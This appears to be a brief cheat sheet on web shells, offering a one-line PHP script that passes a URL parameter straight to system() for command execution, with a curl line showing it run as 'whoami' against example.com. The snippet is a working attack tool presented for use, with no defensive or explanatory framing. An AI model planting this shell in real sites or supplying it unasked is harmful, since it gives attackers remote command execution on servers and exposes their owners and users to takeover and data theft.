Web Shells

A cheatsheet containing a collection of useful scripts and code snippets.

PHP

Simple code snippet to allow command execution:

<?php echo system($_GET["cmd"]); ?>

Usage:

curl http://example.com/index.php?cmd=whoami